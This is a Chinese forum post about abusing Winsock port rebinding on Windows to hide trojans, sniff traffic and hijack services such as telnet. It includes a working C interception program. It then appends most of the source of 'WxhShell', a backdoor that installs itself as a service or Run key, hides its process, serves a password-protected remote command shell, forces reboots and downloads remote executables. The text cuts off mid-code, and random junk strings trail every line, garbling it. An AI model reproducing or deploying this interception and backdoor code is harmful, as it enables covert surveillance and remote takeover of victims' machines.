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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !FpMO`m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bdbw!zRR$  
JBUJc  
  saddr.sin_family = AF_INET; gi;V~>kh  
6u:5]e8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oS,<2Z  
<"[}8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dh +^;dQ6  
PL+fLCk,I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ={L:q8v)  
`8'T*KU  
  这意味着什么?意味着可以进行如下的攻击: Ha C?,  
)If[pw@j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ir,Zc\C  
BTd'bD~EA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LK:|~UV?  
6gR=e+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [[ s k  
Qn*c<:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T. ` %1S  
{&h&:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o!\O)  
]B,S<*h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b0t];Gc%b  
H8-,gV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9I.v?Tap  
.cZ&~ N  
  #include P^h2w%6'  
  #include 7L-%5:1%  
  #include ryn)  
  #include    [Z5x_.k"I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZA9']u%EJ  
  int main() W>DpDrO4ml  
  { giu~"#0/F  
  WORD wVersionRequested; U.^)|IHW  
  DWORD ret; LiB0]+wzj  
  WSADATA wsaData; HK[sHB&  
  BOOL val; T:!sfhrZ~<  
  SOCKADDR_IN saddr; ,<vrDHR  
  SOCKADDR_IN scaddr; "]NQTUb;  
  int err; 40 c#zCE  
  SOCKET s; nO|S+S_9  
  SOCKET sc; zA"D0fr  
  int caddsize; Q^p@ 1I  
  HANDLE mt; +tV(8h4  
  DWORD tid;   *UyV@  
  wVersionRequested = MAKEWORD( 2, 2 ); TM^1 {0;r5  
  err = WSAStartup( wVersionRequested, &wsaData ); /t9w%Y  
  if ( err != 0 ) { MW4dPoa  
  printf("error!WSAStartup failed!\n"); PZ ogN  
  return -1; 93!a  
  } X  ]a>  
  saddr.sin_family = AF_INET; .y\HQ^j  
   3tm z2JIb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x# YOz7.  
cLYc""=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VmUM _Q~  
  saddr.sin_port = htons(23); 6/-!oo   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zEhy0LLm  
  { V.-?aXQ*  
  printf("error!socket failed!\n"); <m6Xh^Ko;  
  return -1; pJv?  
  } C`jP8"-  
  val = TRUE; i L m1l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]Z84w!z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &iGl)dDr  
  { H]!y |p  
  printf("error!setsockopt failed!\n"); W?l .QQk  
  return -1; 7GIv3Dc  
  } v:HgpZo+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |v1 K@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fN4p G*D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q./ lX:  
$@Ay0GEI"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qA~D*=  
  { I+CQ,Zuf  
  ret=GetLastError(); XeB>V.<y  
  printf("error!bind failed!\n"); kCC9U_dj,  
  return -1; v|/3Mi9mz  
  } kCwTv:)  
  listen(s,2); EIYM0vls(  
  while(1) aEk*-v#{  
  { 7 IHD?pnZ  
  caddsize = sizeof(scaddr); 6m.Ku13;  
  //接受连接请求 Zn/9BO5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z1FbW&V  
  if(sc!=INVALID_SOCKET) D}061~zb$  
  { eFnsf}(Iy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k,@J&   
  if(mt==NULL) ={b ]  
  { O\LW 8\M  
  printf("Thread Creat Failed!\n"); =k*0O_  
  break; R`* *!ku  
  } #PrV)en  
  } wr$}AX  
  CloseHandle(mt);  g_>ZE  
  } vW{cB y  
  closesocket(s); i]53A0l  
  WSACleanup(); _$'Mx'IC=  
  return 0; O7dFz)$  
  }   cyhD%sB[D9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9V66~Bf5  
  {  hY1|qp  
  SOCKET ss = (SOCKET)lpParam; eTF8B<?  
  SOCKET sc; PD}R7[".>  
  unsigned char buf[4096]; rq1kj 8%2  
  SOCKADDR_IN saddr; %)/f; T6  
  long num; *3/7wSV:  
  DWORD val; IP'igX  
  DWORD ret; @gqw]_W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uTU4Fn\$L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @*DIB+K  
  saddr.sin_family = AF_INET; h3kHI?jMWG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  (v`;ym  
  saddr.sin_port = htons(23); FR}H$R7#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) . ?p}:  
  { 2 &Byq  
  printf("error!socket failed!\n"); bNROXiX  
  return -1; ,OKM\N ,  
  } )R^Cqo'  
  val = 100; K7hf m%`N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }R1`ThTM  
  { gr 5]5u  
  ret = GetLastError(); j>o +}p?3I  
  return -1; bJ|?5  
  } <]'"e]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ g75T`N  
  { @1F'V'  
  ret = GetLastError(); ^)q2\ YE;  
  return -1; (J*w./  
  } &Bn; Vi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^@Qi&g`lr?  
  { 5ZA%,pH>Jq  
  printf("error!socket connect failed!\n"); PEBFN  
  closesocket(sc); q~J oGTv  
  closesocket(ss); Z% ;4Ed  
  return -1; l;BX\S  
  } Nr"N\yOA/  
  while(1) S/-7Zo&w+  
  { V./w06;0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B"PHJj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  y"\,%.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w"v'dU^  
  num = recv(ss,buf,4096,0); -WUYE  
  if(num>0) ]VWfdG  
  send(sc,buf,num,0); u- [t~-(a  
  else if(num==0) QWHy=(!  
  break; Q==v!"Gi|  
  num = recv(sc,buf,4096,0); jAK{<7v4U  
  if(num>0) #tZf>zrs  
  send(ss,buf,num,0); AD@PNM  
  else if(num==0) u 7"VeTz  
  break; r%l%yCH  
  } mY`]33??v  
  closesocket(ss); cIr1"5POXK  
  closesocket(sc); wz+5 8(  
  return 0 ; 0sd-s~;  
  } +V9B  
sdf%  
*kQCW#y0  
========================================================== }E5#X R  
=u8D!AxT  
下边附上一个代码,,WXhSHELL 2Nn1-wdhb  
g?~Tguv  
========================================================== 9>Uq$B  
(s"iC:D6U  
#include "stdafx.h" Ao":9r[V  
)M'UASB;8  
#include <stdio.h> ]1?=jlUl  
#include <string.h> _~[?> cF%  
#include <windows.h> M{xVkXc>  
#include <winsock2.h> @vQa\|j  
#include <winsvc.h> ahtYSz_FM  
#include <urlmon.h> Yu^H*b  
ufCqvv>'  
#pragma comment (lib, "Ws2_32.lib") p08kZ  
#pragma comment (lib, "urlmon.lib") ^%8qKC`Tt  
=x^l[>sz  
#define MAX_USER   100 // 最大客户端连接数 xb>n&ym?  
#define BUF_SOCK   200 // sock buffer b(RB G  
#define KEY_BUFF   255 // 输入 buffer 0[lsoYUq  
rQEi/  
#define REBOOT     0   // 重启 :wU_-{>>2  
#define SHUTDOWN   1   // 关机 ESMG<vW&f  
*J_iXu|  
#define DEF_PORT   5000 // 监听端口 'e]HP-Y<  
@ EmGexLPM  
#define REG_LEN     16   // 注册表键长度 d9Z&qdxTKq  
#define SVC_LEN     80   // NT服务名长度 ZCQ< %f  
90s;/y(  
// 从dll定义API "#twY|wW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cqgk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %f(S'<DhC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -2\ZzK0tM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q[G/}  
(`6%og#8  
// wxhshell配置信息 's[BK/  
struct WSCFG { ]jc_=I6)  
  int ws_port;         // 监听端口 j u*fyt  
  char ws_passstr[REG_LEN]; // 口令 A)hhnb0o  
  int ws_autoins;       // 安装标记, 1=yes 0=no !7*(!as  
  char ws_regname[REG_LEN]; // 注册表键名 efjO8J[uk-  
  char ws_svcname[REG_LEN]; // 服务名 .Z=Ce!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w< 65S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PW%1xHLfk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b,sGq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WRD A `  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2@ 9pr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W|dpFh`  
fw' r.  
}; MBB5wj  
lwOf)jK:J  
// default Wxhshell configuration s>|Z7[*  
struct WSCFG wscfg={DEF_PORT, 9 g Bjxqm  
    "xuhuanlingzhe", 3;a R\:p@w  
    1, Xsd $*F@<  
    "Wxhshell", \+k, :8s/  
    "Wxhshell", r<*O  
            "WxhShell Service", l"J*)P  
    "Wrsky Windows CmdShell Service", lq>pH5x  
    "Please Input Your Password: ", YwL`>?  
  1, pe()f/Jx(  
  "http://www.wrsky.com/wxhshell.exe", TMJ9~"IO  
  "Wxhshell.exe" c>ad0xce6  
    }; 1")FWN_K/T  
p9-0?(]  
// 消息定义模块 lC#RNjDp/~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G02ox5X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e?V,fzg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~G>jw"r  
char *msg_ws_ext="\n\rExit."; TbLe6x  
char *msg_ws_end="\n\rQuit."; Q,.By&  
char *msg_ws_boot="\n\rReboot..."; 3;*z3;#}  
char *msg_ws_poff="\n\rShutdown..."; /_V'DJV  
char *msg_ws_down="\n\rSave to "; dv;9QCc'  
jfUJ37zNZr  
char *msg_ws_err="\n\rErr!"; DVI7]+=nV  
char *msg_ws_ok="\n\rOK!";  SLkuT`*  
sV u k  
char ExeFile[MAX_PATH]; }^"0T-ua  
int nUser = 0; 1SW4Y  
HANDLE handles[MAX_USER]; |q;Al z{  
int OsIsNt; ^7uX$  
Kax#OYLpg  
SERVICE_STATUS       serviceStatus; K@HQrv<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eC~ jgB  
U98_M)-%&  
// 函数声明 ->\N_|_  
int Install(void); 8xgJSk  
int Uninstall(void); +?;j&p  
int DownloadFile(char *sURL, SOCKET wsh); pOMgEEhfS  
int Boot(int flag); _J,xT  
void HideProc(void); flG=9~qcGQ  
int GetOsVer(void); F>N+<Z  
int Wxhshell(SOCKET wsl); t5paY w-b  
void TalkWithClient(void *cs); R"*R99  
int CmdShell(SOCKET sock); 2"@Ft()]  
int StartFromService(void); K;x~&G0=  
int StartWxhshell(LPSTR lpCmdLine); lop uf/U0  
B{p4G`$i1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yRC3 . [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ibJl;sJ  
7JI:=yY!>:  
// 数据结构和表定义 !z MDP/V  
SERVICE_TABLE_ENTRY DispatchTable[] = <Nex8fiJ9  
{ pI>*u ]x  
{wscfg.ws_svcname, NTServiceMain}, R:A'&;S  
{NULL, NULL} I!0JG`&  
}; f&ytK  
FI{AZb_'  
// 自我安装 1Bg_FPu  
int Install(void) [Ct=F|  
{ , /&Z3e  
  char svExeFile[MAX_PATH]; @`wn<%o$  
  HKEY key; OV[`|<C '  
  strcpy(svExeFile,ExeFile); ?Ko|dmX  
gg[ 9u-  
// 如果是win9x系统,修改注册表设为自启动 D`VFf\7  
if(!OsIsNt) { p<KIF>rf|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =_ y\Y@J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %cX"#+e  
  RegCloseKey(key); M)JADX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +I5 2EXo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vl<9=f7[  
  RegCloseKey(key); |SQ|qbe=  
  return 0;  H4:ZTl_$  
    } < Dd%  
  } 6NX3"i0 eT  
} _ h9o@  
else { ',ZF5T5z@  
; 0ko@ \Lq  
// 如果是NT以上系统,安装为系统服务 %/T7Z; d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^s{hs(8%R  
if (schSCManager!=0) :p>hW!~  
{ Ma6W@S  
  SC_HANDLE schService = CreateService ZenPw1-  
  ( ]JjK#eh  
  schSCManager, :l,OalO  
  wscfg.ws_svcname, h^oH^moq<  
  wscfg.ws_svcdisp, #. ct5  
  SERVICE_ALL_ACCESS, }ptMjT{9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LjaGyj>)  
  SERVICE_AUTO_START, UTCzHh1  
  SERVICE_ERROR_NORMAL, q[ d)e6  
  svExeFile, y-9+a7j  
  NULL, PKf:O  
  NULL, | o0RP|l  
  NULL, Hi7y(h?wj  
  NULL, :#u}.G  
  NULL r_U>VT^E:  
  ); l-.(Ez*  
  if (schService!=0) pu4,0bw  
  { xWE8W m  
  CloseServiceHandle(schService); aV6#t*\J  
  CloseServiceHandle(schSCManager);  c%f_.MiU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "DQ'C%sL9  
  strcat(svExeFile,wscfg.ws_svcname); ^Ga&}-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %=Tr^{ i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f:woP7FP  
  RegCloseKey(key); S1b Au <  
  return 0; <7 )Fh*W@  
    } s0C:m  
  } mR+Jws'  
  CloseServiceHandle(schSCManager); *1A&'T2  
} >jx.R  
} 3fr^ T  
8SC%O\,  
return 1; "aq'R(/`c  
} Dl C@fZD  
".U^if F  
// 自我卸载 B4g8 ~f  
int Uninstall(void) Br5o7(AE  
{ 4w$_ ]ke  
  HKEY key; x/mp=  
bwiD$  
if(!OsIsNt) { E(^0B(JF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #X`8dnQZ  
  RegDeleteValue(key,wscfg.ws_regname); cpZc9;@IC  
  RegCloseKey(key); S%mfs!E>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ug%_@t/?  
  RegDeleteValue(key,wscfg.ws_regname); Bv9kSu9'~  
  RegCloseKey(key); 5[gh|I;D  
  return 0; !EBY@ Y1  
  } z[nS$]u  
} 0g=`DSC<(  
} "Fnq>iR-  
else { }|wv]U~  
iL]'y\?lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6'C2SihYp  
if (schSCManager!=0) @f1*eo5f  
{ V[; M&=,"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lr@#^  
  if (schService!=0) 8g~EL{'  
  { -YGbfd<wq  
  if(DeleteService(schService)!=0) { T:iP="?{  
  CloseServiceHandle(schService); $m| V :/  
  CloseServiceHandle(schSCManager); v;EQ, NL  
  return 0; -db75=  
  } \3XqHf3|o  
  CloseServiceHandle(schService); > m q,}!n  
  } m D58T2 Z  
  CloseServiceHandle(schSCManager); jd-glE,Y/  
} K^[#]+nQ  
} {+.r5py  
Ao9R:|9  
return 1; DcD{*t?x  
} 1Sz A3c  
:t("L-GPW  
// 从指定url下载文件 1B=>_3_  
int DownloadFile(char *sURL, SOCKET wsh) ,*svtw:2')  
{ !Ng=Yk>3  
  HRESULT hr; lUOvm\  
char seps[]= "/"; J^#:qk  
char *token; ]< l6s  
char *file; Me5{_n  
char myURL[MAX_PATH]; :[l\@>H1tX  
char myFILE[MAX_PATH]; .Ajzr8P  
R`8@@ }  
strcpy(myURL,sURL); Guw}=l--YR  
  token=strtok(myURL,seps); 9!',b>C6  
  while(token!=NULL) !YL. .fb  
  { XOP"Px@  
    file=token; / ~ %KVe  
  token=strtok(NULL,seps); `>C<}xO  
  } 2x]>l? 5b  
`fNpY#QsN  
GetCurrentDirectory(MAX_PATH,myFILE); xw5d|20b  
strcat(myFILE, "\\"); X2sHE  
strcat(myFILE, file); n/d`qS  
  send(wsh,myFILE,strlen(myFILE),0); ?%tMohL  
send(wsh,"...",3,0); 2B0W~x2=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /phX'xp  
  if(hr==S_OK) -Apc$0ZsN  
return 0; }L=/A7Nk>  
else {7hLsK[])  
return 1; sic"pn],U  
OR1DYHHT/1  
} o G*5f  
^2D1`,|N  
// 系统电源模块 6fo3:P*O  
int Boot(int flag) K)tQ]P  
{ "p&Y^]  
  HANDLE hToken; CqMhk  
  TOKEN_PRIVILEGES tkp; Cwa^"r3P1  
(& "su3z  
  if(OsIsNt) { hXIro  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HAzBy\M{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |077Sf|  
    tkp.PrivilegeCount = 1; 3rW|kkn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'NjzgZ~]P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7,qYV}  
if(flag==REBOOT) { E51dV:l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }_/Hdmmx  
  return 0; q%n6K  
} gN8hJG'0  
else { Ks^6.)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h0--B]f@  
  return 0; !l?.5Pm])  
} $4kH3+WJ  
  } GE;e]Jkjn  
  else { rEhX/(n#  
if(flag==REBOOT) { H={DB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \J..*,'  
  return 0; /@ !CKh`  
} f ),TO  
else { Ei}/iBG@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |:[tNs*,O  
  return 0; ,j;m!V  
} `+'rib5  
} x9/H/'  
iXu]e;6  
return 1; RpWTpT1  
} ~LJY6A@y  
ptatzp]c#  
// win9x进程隐藏模块 Va,<3z%O<  
void HideProc(void) lt^\  
{ oVA?J%EK  
N7'OPTKt&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h^,8rd  
  if ( hKernel != NULL ) geQ{EwO8n  
  { w\54j)rb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P./V6i<:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h5%<+D<  
    FreeLibrary(hKernel); @2pu^k^  
  } C*U'~qRK  
;k"Bse!/  
return; iLP7!j  
} 9CA^B2u  
f.aSKQD  
// 获取操作系统版本 q{s(.Uq$&  
int GetOsVer(void) 0q>P~] Ow  
{ D']ZlB 'K  
  OSVERSIONINFO winfo; Wcb7 ;~K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j?y LDLj  
  GetVersionEx(&winfo); 5>3}_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d(vsE%/!  
  return 1; EXP%Mk/  
  else U4m9e|/H;z  
  return 0; {Q+gZcu  
} )1N 54FNO  
ul%h@=n  
// 客户端句柄模块 ZX ?yL>4  
int Wxhshell(SOCKET wsl) D3|oOOoG  
{ QM3,'?ekRH  
  SOCKET wsh; 0TfS=scT  
  struct sockaddr_in client;  tz#gClo  
  DWORD myID; mRB   
xe7O/',pa=  
  while(nUser<MAX_USER) o7mZzzP  
{ X;<BzA!H  
  int nSize=sizeof(client); ,Y 3W?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +!QJTn"3  
  if(wsh==INVALID_SOCKET) return 1; $0bjKy  
6KD `oUx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <%xS{!'}  
if(handles[nUser]==0) kb[P\cRa  
  closesocket(wsh); iA8U Yd3Q  
else ~m|Mg9-  
  nUser++; KIR'$ 6pn~  
  } M?=;JJ:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [V4{c@  
* ),8PoT  
  return 0; OB[o2G<0  
} kYzC#.|1  
SyAvKd`g  
// 关闭 socket 'V8N  
void CloseIt(SOCKET wsh) +?p.?I  
{ 4w#``UY)'  
closesocket(wsh); 3 ?Y|  
nUser--; +C1QY'>I  
ExitThread(0); {]"]uT#  
} Pnd `=%w%]  
f;}EhG'  
// 客户端请求句柄 !"e5~7  
void TalkWithClient(void *cs) \~LQ%OM  
{ dt~YW  
gM [w1^lj  
  SOCKET wsh=(SOCKET)cs; m*$|GW9  
  char pwd[SVC_LEN]; ]f]<4HD=i  
  char cmd[KEY_BUFF]; 2e$w?W0^  
char chr[1]; }I@L}f5N  
int i,j; "V&+7"Q  
5,)Q w  
  while (nUser < MAX_USER) { LH:i| I  
(`? y2n)~W  
if(wscfg.ws_passstr) { AfG/JWSo}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qc#)!   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1sP dz L  
  //ZeroMemory(pwd,KEY_BUFF); b T 2a40ul  
      i=0; + >cBVx6  
  while(i<SVC_LEN) { bzdb|I6Z  
0i8LWX_M  
  // 设置超时 ^ wY[3"{  
  fd_set FdRead; <>m }}^  
  struct timeval TimeOut; v)2M1  
  FD_ZERO(&FdRead); K}=|.sE9  
  FD_SET(wsh,&FdRead); #2`D`>7456  
  TimeOut.tv_sec=8; 1SrJ6W @j[  
  TimeOut.tv_usec=0; -=.V '  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?<6CFH]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l4TpH|k  
'ejvH;V3i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "R8KQj  
  pwd=chr[0]; 0flg=U9  
  if(chr[0]==0xd || chr[0]==0xa) { Ela-,(Glk  
  pwd=0; U%h);!<  
  break; xQw7 :18wQ  
  } ;Ag 3c+  
  i++; WD'#5]#Y  
    } N{-]F|XX  
8ssJ<LP  
  // 如果是非法用户,关闭 socket c\% r38  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tK k#LWB  
} ?BhMjsy.  
5=e@d:Sz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W cC?8X2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZNYH#mJX*  
p$ bnK]  
while(1) { E9V 5$  
_gD pKEaY  
  ZeroMemory(cmd,KEY_BUFF); mrV!teP  
JsO *1{6g  
      // 自动支持客户端 telnet标准   "bDs2E+W  
  j=0; d&#~ h:~  
  while(j<KEY_BUFF) { kh%{C] ".1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;(}V"i7Hu  
  cmd[j]=chr[0]; 5wUUx#  
  if(chr[0]==0xa || chr[0]==0xd) { ?8W( "W   
  cmd[j]=0; y<b{Ji e  
  break; ,RN:^5 p  
  } p">EHWc}D  
  j++; w1UA?+43  
    } j[Uxa   
7<H |QL&  
  // 下载文件 QM?#{%31  
  if(strstr(cmd,"http://")) { XT;u<aJs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o!Rd ^  
  if(DownloadFile(cmd,wsh)) fvb=#58N_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl'n->G>v  
  else i|1^+;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qYhs|tY)  
  } OM{WI27  
  else { Jjl`_X$CB  
)Fb>8<%  
    switch(cmd[0]) { /*|oL# hK  
  ~{}#)gGU  
  // 帮助 ki>~H!zB  
  case '?': { #2iD'>bQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v`1,4,;,qs  
    break; |a{Q0:  
  } }-~T<egF  
  // 安装 LL$_zK{  
  case 'i': { t\$U`V)  
    if(Install()) T)\"Xj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k? Xc  
    else ![f ![l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /t-fjB{=G  
    break; +{]xtQB=,{  
    } H~ u[3LQz  
  // 卸载 wW>)(&!F  
  case 'r': { t20PP4FWM  
    if(Uninstall()) ^*\XgX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZIdA\_c  
    else fb  da  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;l$ \6T  
    break; 1n\ t+F  
    } _e9:me5d"$  
  // 显示 wxhshell 所在路径 pStk/te,XK  
  case 'p': { F]O$(7*  
    char svExeFile[MAX_PATH]; @* il3h,  
    strcpy(svExeFile,"\n\r"); ^}f -!nf[  
      strcat(svExeFile,ExeFile);  )J?{+3  
        send(wsh,svExeFile,strlen(svExeFile),0); 0kDK~iT  
    break; -7!&@wuQ  
    } #Km:}=  
  // 重启 {647|j;e  
  case 'b': { &F}"Z(B<wK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^uJU}v:  
    if(Boot(REBOOT)) L,; D@Xi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N N|u_  
    else { yPw'] "  
    closesocket(wsh); Tlj:%yK2  
    ExitThread(0); ^*~;k|;&  
    } n4lutnF  
    break; |j3'eW&=  
    } 0j(M* sl  
  // 关机 <5=JE*s$NS  
  case 'd': { <)*2LBF@]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SR*wvQnOx  
    if(Boot(SHUTDOWN)) ?|e'Gbb_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Z5##dS3  
